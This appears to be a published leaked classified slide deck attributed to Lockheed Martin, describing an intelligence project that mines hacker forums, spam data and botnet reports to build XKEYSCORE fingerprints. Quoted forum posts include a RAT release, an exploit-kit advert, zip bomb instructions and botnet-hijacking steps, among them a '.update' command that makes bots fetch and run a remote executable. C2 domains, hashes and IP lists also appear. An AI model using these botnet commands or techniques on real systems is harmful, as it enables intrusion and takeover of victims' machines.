OSINT FUSION PROJECT

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Creating agency: Lockheed Martin
Document date: -
Pages: 24
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Classification: TOP SECRET COMINT
Dissemination: REL TO USA, FVEY

A TOP SECRET//COMINT//REL TO USA, FVEY presentation by Lockheed Martin's Intelligence and Global Solutions division describing the OSINT Fusion Project — a programme to collect and weaponise open source intelligence from hacker forums, malicious email traffic, botnet data and commercial threat feeds to generate XKEYSCORE fingerprints for CNE targeting and fourth party collection.

Long Description:
This is a classified presentation by Lockheed Martin IS&GS Intelligence, prepared for NSA and Five Eyes partners and marked TOP SECRET//COMINT//REL TO USA, FVEY. It describes the OSINT Fusion Project, a systematic effort to harvest open source intelligence from publicly accessible sources — hacker forums, malware repositories, botnet tracking services and commercial threat data — and convert it into actionable SIGINT collection tools, specifically XKEYSCORE fingerprints for use in Computer Network Exploitation and counter-CNE operations. The document reveals that Lockheed Martin, as an NSA contractor, was performing intelligence analysis functions typically associated with government agencies. The research objectives are explicitly offensive: identifying adversaries, their capabilities and infrastructure, building XKEYSCORE fingerprints from malware behaviour patterns, and identifying victims of foreign intrusions as "fourth party collection opportunities" — meaning exploiting the access that foreign hackers have already gained into third party networks. The hacker forum section describes using RSS feeds to passively collect posts from criminal forums — including examples showing BlackEnergy DDoS bot advertisements, RAT (Remote Access Trojan) releases and IRC botnet command structures — to profile adversaries building, selling and using offensive capabilities. The document notes that RSS collection "leaves no tracks on the forum," contrasting with an active access method called AIRGAP. The malicious email section describes leveraging Cisco IronPort data representing 25-30% of global email traffic to identify top virus-sending IP addresses and profile the infrastructure behind malware campaigns. A sample report from May 2009 lists specific IPs and network owners. The malicious connections section describes using this intelligence to build XKEYSCORE fingerprints, with the document noting that 17 US, UK and Australian government email addresses were discovered to have been passed to an exploit server — found via a fingerprint originally written for Middle East and North Africa fourth party collection. The ShadowServer section describes integrating commercial threat intelligence including sinkhole HTTP drone data, botnet drone reports and DDoS reports, noting that 25 US government systems at federal, state and local level were observed communicating with botnet command and control servers in early June 2009. The state-sponsored section gives three examples — FBI, JTF-GNO and NSA CN (China) intrusion sets — where OSINT malware research revealed previously unknown infrastructure and binaries associated with Chinese cyber operations. Consumer destinations for the OSINT Fusion output included NTOC sensors (BLUESASH, TUTELAGE, CROSSBONES), NSA TAO and GCHQ CNE operations, Menwith Hill Station, NDIST, JCMA Cyber and GovCERT UK.

TOP SECRET//COMINT//REL TO USA, FVEY

OSINT FUSION PROJECT

[REDACTED]

Lockheed Martin IS&GS Intelligence

LOCKHEED MARTIN

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Traditional OSINT

  • Traditional OSINT is mostly from main stream news, compiled summaries, and information put out by venders.
    • Good for situational awareness
    • Some excellent analysis on attacks and exploits
    • Information can be days or weeks old
    • Doesn't normally contain strong selectors

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Research Objectives

  • To compile OSINT information that enables CNO operations & analysis
    • Emerging threats
    • Situational awareness
    • Identification of the following:
      • Victims
      • Capabilities
      • Adversaries
      • Infrastructure

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Research Objectives

  • To identify strong selectors and unique strings from OSINT that can be used within SIGINT:
    • To build XKEYSCORE Fingerprints to identify the an adversaries capabilities being used within SIGINT Collection
    • To identify and task adversaries and their infrastructure within SIGINT
    • To identify victims for 4th Party Collection Opportunities

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Hacker Forums

  • A clever way to collect OSINT information from Hacker Forums
    • RSS Feeds
      • Automated collection of new and historical posts
      • Allows quicker analysis of posts
      • Leaves no tracks on the forum unlike AIRGAP
      • If enabled, can also get feeds from closed (login required) forums.
      • Enables analyst to prioritize other sites without RSS feeds for other access operations

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Hacker Forums

  • Allows for the identification of:
    • Adversaries
      • Those who are building capabilities
      • Those who are selling capabilities
      • Those who are using the capabilities
      • Those who are selling information (Cyber Crime)
    • Capabilities
      • Profiling and understanding of emerging tactics, techniques, and procedures used by our adversaries
      • Identification of locations where capabilities can be obtained

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Hacker Forums

BalckEnergy DDoS Bot
by kmv900

nuclear stealth mechanisms fludery support multitargeting and multirezolving - if the purpose for the attack indicates
the domain name is created by a group of flows to attack each IP-address attached to this domain (rezolving
repeated every 15 minutes)

[RAT] Slayer616's RAT 1.2 Final
by slayer616
Hey Guys,
i completed the first Final Build. After some hard work i fixed like 20 little Bugs and added Keylogging Function + Better GUI
+ Flag System!

ScreenShot:
Slayer616's Reverse Administrator - Listening on Port: 1234
Bundles exploit [yes Exploit System]
by Saint
Welcome forumchan!
Sell sploitov ligament.
Test mix, iframe traffic:
Your browser version probiva Percent
Internet Explorer 5.0-50-75%
Internet Explorer 5.1-50-75%
Internet Explorer 5.5-80-90%
Internet Explorer 6.0-35-59%
Internet Explorer 7.0-10-15%
Internet Explorer 8.0-5-10%
Opera 9.0-9.25-75-80%
Opera 9.5x-9.6x-10-15%
Opera 10.0-8-10%
FireFox 1.x-15-20%
FireFox 2.x-10-15%
FireFox 3.x- 10%
Mozilla 5.x-5-8%
Create a Zip Bomb - Zip of Death
Posted by X.E.R.O
A zip bomb, also known as a Zip of Death, is a malicious archive file designed to crash or
render useless the program or system reading it. It is often used by virus writers to
disable antivirus software, so that a more traditional virus sent afterwards could get into
system undetected. A zip bomb is usually a small file (up to a few hundred kilobytes) for
ease of transport and to avoid suspicion. However, when the file is unpacked its contents
are more than the system can handle. You can make your own zip bomb to annoy your
friends or just out of curiosity (or wilderness) to experiment with it. Make sure you don't
detonate it on yourself.

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Hacker Forums

The following Host Name was requested from a host database:
m.DRD3H.COM

There was registered attempt to establish co onnection details.
Remote Host Port Numb
m.DRD3H.COM 6668

here's your server.
type /server (whats right here) in your IRC client

Outbound traffic (potentially malicious)
Attention! There was a new connect ed outbo
NICK Cbb-365705344
tourg 0 0 :Cbb-365705344
USERHOST Cbb-365705344
+x+1
JOIN #dc dcpass
USER cunxdzovxay 0 0 :Cbb-52-73443
USERHOST Cbb-526873443

Make your nick similar

theres the channel and
pass :)

Heuristics Analysis

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Hacker Forums

You need to be operator to set the topic. Default password is /oper foo bar; but if they have changed it, DDoS attack it with your bots
and make sure that you are the first to join!

If you happen to get into a channel with a ton of bots, and the op isnt there, change your nick to a bot's name, or similar, and wait.

They should type like .login <password>

thats when you do the same! haha.

type .login <password>
then .update http://www.somehost.com/yourfile.exe

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Malicious Emails

  • Leverage OSINT to identify the infrastructure and source of top virus email senders by IP address
    • Based on CISCO IronPort view of 25-30% of the worlds email
    • Identifies infrastructure used by adversaries to deliver capability
    • Allows SIGINT profiling of activity on the IP

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Malicious Emails

Top 100 virus senders by ip address for the last day 18 MAY 2009
IP Address Hostname Fwd/ Rev DNS Volume Vol change vs. Avg Network Owner
216.34.181.68 mx.sourceforge.net Y 0.241929 -24.1762 SAVVIS Communications Corporation
217.67.228.225 hosted.by.dwsmedia.net 0.14969 490.542 Standby Power B.V. range
210.210.145.51 mx-corp3-out.cbn.net.id Y 0.040585 -60.33 PT Cyberindo Aditama
59.95.152.42 0.0212589 -28.3654 NIB (National Internet Backbone)
69.7.203.227 mail.allisports.com N 0.0159881 259.837 AST Dew Tour
75.19.187.14 adsl-75-19-187-14.dsl.bltnin.sbcglobal.net 0.0158124 430.639 STEELE BEARD ELECTRIC CO
58.191.129.7 spamchkmx11.k-opti.com Y 0.0130013 -54.8573 K-Opticom Corporation
125.189.230.120 0.0115957 735.999 POWERCOMM
92.48.118.137 victorious.eukhost.com 0.0105416 156.623 PoundHost Internet Services
203.188.255.3 dhaka.bangla.net Y 0.0101902 -11.9755 Information Services Network
196.211.9.26 0.00773049 22.2103 Internet Solutions
60.250.154.181 Y 0.00667633 -86.6825 CHTD, Chunghwa Telecom Co., Ltd.
194.228.41.114 relay.iol.cz Y 0.00650064 -68.7897 Czech Telecom a.s.
121.189.63.190 0.00614925 -9.34094 Korea Telecom
71.84.227.194 mail.vesd.net 0.00527079 166 CHARTER COMMUNICATIONS
87.118.148.35 sh-148-035.cg.del.bg 0.0050951 961.184 Davidov Net PI space

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Malicious Connections

  • An effort to identify the latest emerging threats that are not yet detected by anti-virus or IDS/IPS signatures
    • Malicious Binary MD5 (track capability)
    • The adversaries infrastructure that exploited systems connect to after being compromised
    • Traffic generated by compromised systems to build XKEYSCORE fingerprints

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Malicious Connections

MHSCNO Malicious Connections Report
18 MAY 2009

The following "call home" IPs/Domains should be considered
malicious and connectivity to them should be investigated.
Systems initiating a connection with these IPs/Domains
should be treated as compromised until the system is
reviewed. POC: [REDACTED], [REDACTED], [REDACTED]

File MD5: 0xA1BFF64FE8CB692A8F1F1DDFE765107F
File SHA-1: 0x1DEC6B188D456EBB3F629E5C2440C10BF28DC690
Filesize: 108,032 bytes

Category: A malicious trojan horse or bot that may
represent security risk for the compromised system and/or
its network environment

The following Host Name was requested from a host database:
* bf.burimche.net

There was registered attempt to establish connection with
the remote host. The connection details are:

Remote Host     Port Number
bf.burimche.net 4244

There was a new connection established with a remote IRC
Server. The generated outbound IRC traffic is provided
below:

PASS bf
NICK [00 USA|030685]
USER XP-0442 * 0: COMPUTERNAME

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Malicious Connections

  • NTOC – Signatures for Sensors
    • BLUESASH
    • TUTELAGE (TURBULENCE Defensive)
    • CROSSBONES
  • NSA TAO / GCHQ CNE – Counter CNE Ops
  • MHS / NDIST – 4th Party Collection
  • JCMA Cyber - Customer focused CND
  • GOVCERT UK – UK Government CND

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Malicious Connections

  • (U//FOUO) The following statistics show the number of NTOC DNS Alerts that were an exact match for a malicious connection reported in the MHSCNO Malicious Connections Report.
Date Total DNS Alerts Exact MCR Match Percentage
5/14/09 22 13 59%
5/13/09 23 11 47%
5/12/09 23 10 43%
5/11/09 21 11 52%
5/10/09 51 44 86%
5/09/09 12 8 67%
5/08/09 52 44 85%
5/07/09 84 75 89%
5/06/09 20 14 70%
5/04/09 107 66 62%
5/03/09 1 1 100%
5/01/09 77 74 96%
4/30/09 82 71 87%
4/29/09 80 73 91%

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Malicious Connections

  • US/UK/AU Government Email addresses passed to exploit server – 17 email accounts
    • Discovered using an MHS developed XKEYSCORE Fingerprint that was written to identify a malicious connection while searching for MENA 4th Party Collection opportunities.

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

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ShadowServer Data

  • Sinkhole HTTP Drone Report - All the IP addresses that joined the sinkhole server that did not join via a referral URL. Since the Sinkhole server is only accessed through previously malicious domain names only infected systems are in the report.
    • Victims / Infrastructure / HTTP Command Strings

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

ShadowServer Data

  • Sandbox URL Report - These are URLs that were access by malware.
    • Binary MD5 Hashes / Infrastructure / HTTP Command Strings
  • Botnet Drone Report - All the IP addresses that were seen joining a known Botnet Command and Control Server.
    • Victims / Infrastructure
      • 25 US Government (Federal / State / Local) systems communicating with botnets between 5-7 June 2009

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

ShadowServer Data

  • Botnet URL Report - Any URL that was seen in a botnet channel is reported. The URL could be an update, complaint, or information related to the criminals. Everything is included in case there is something of value in the URL.
    • Infrastructure / Capabilities / HTTP Command Strings
  • DDoS Report - Any DDoS attack is reported whether the country is the target or the source of the attack.
    • Victims / Infrastructure / Capabilities

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

State Sponsored

  • Example 1 (FBI CN Intrusion Set)
    • Identified MALWARE report for known domain.
    • Found another binary which was an exact match that revealed a previously unassociated domain to this intrusion set 9 months before first known activity of this intrusion set.
      • Infrastructure / Registration / Timeline / MD5 hash

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

State Sponsored

  • Example 2 (JTF-GNO CN Intrusion Set)
    • 6 different reports noted the use of a specific Chinese developed standalone web server software package.
    • Identified 3 new binaries in OSINT malware research that also used this exact software package.
      • 3 new domains (infrastructure / registration / time line / MD5 Hashes)

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

State Sponsored

  • Example 3 (NSA CN Intrusion Set)
    • Identified 2 binaries in OSINT that matched those called out in a report with their associated malware analysis and MD5 hashes.

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Collaboration

  • [REDACTED]
  • [REDACTED]
  • [REDACTED]
  • [REDACTED]

TOP SECRET//COMINT//REL TO USA, FVEY


TOP SECRET//COMINT//REL TO USA, FVEY

LOCKHEED MARTIN

Questions?

TOP SECRET//COMINT//REL TO USA, FVEY